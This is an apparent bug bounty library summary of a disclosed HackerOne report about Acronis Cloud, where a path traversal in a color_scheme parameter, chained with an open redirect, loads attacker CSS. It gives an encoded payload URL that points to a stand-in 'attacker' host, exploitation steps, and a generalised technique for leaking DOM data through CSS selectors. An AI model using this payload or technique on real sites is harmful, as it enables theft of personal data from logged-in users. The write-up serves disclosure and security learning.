# CSS Injection via Client Side Path Traversal + Open Redirect leads to personal data exfiltration on Acronis Cloud

Client-side path traversal in color_scheme param plus open redirect in idp/authorize lets attacker load external CSS and exfiltrate DOM data via CSS selectors.

- Payout: hidden
- Severity: medium
- Program: Acronis
- Found by: mr-medi
- Disclosed: 2022-11-04
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1245165
- Library page: https://bugbountylibrary.com/r/h1%3A1245165
- Tags: area:web domain:web impact:data-leak impact:pii-leak kind:bounty platform:hackerone sev:medium tech:oauth technique:chained vuln:open-redirect vuln:path-traversal vuln:xss

**Target:** Acronis Cloud Management Console (mc-beta-cloud.acronis.com) color_scheme parameter and /api/2/idp/authorize endpoint
**Root cause:** Frontend concatenates unsanitized color_scheme value into a CSS file URL without filtering '.' and '/', enabling relative path overwrite; the idp/authorize endpoint reflects the state parameter into a Location redirect without validation.
**Steps:**
1. Host evil CSS at http://attacker/css/core.css
2. Craft color_scheme=%2F..%2F..%2F..%2Fapi%2F2%2Fidp%2Fauthorize%2F%3Fclient_id%3D...%26redirect_uri%3D%252Fhci%252Fcallback%26response_type%3Dcode%26scope%3Dopenid%26state%3Dhttp%253A%252F%252Fattacker%252Fcss%252Fcore.css%26nonce%3D...
3. Victim (logged-in partner) visits https://mc-beta-cloud.acronis.com/mc/?color_scheme=<payload>
4. Browser requests theme.<payload>.css which traverses to /api/2/idp/authorize, which 302s to attacker CSS
5. Attacker CSS loads and applies CSS selectors/background-image to exfiltrate DOM hashes and headers
**How found:** Researcher noticed color_scheme concatenated into CSS URL, tested '.' and '/' to confirm path traversal, then searched API requests for an open redirect and found state param reflected in Location header of idp/authorize.
**Exploitation:** Attacker lures authenticated partner to crafted URL; browser follows relative path overwrite to open-redirect endpoint, which redirects to attacker-hosted CSS; CSS rules use attribute selectors and background-image requests to leak customer/partner ID hashes and request metadata.
**Escalation:** Chained client-side path traversal with open redirect to bypass same-origin CSS loading restriction, enabling data exfiltration from authenticated DOM.
**Insight:** When a parameter is concatenated into a resource URL (CSS/JS/img), test path traversal to reach same-origin endpoints that reflect redirect targets; CSS @import/background-image follows redirects cross-origin, so any open redirect becomes a CSS-injection primitive.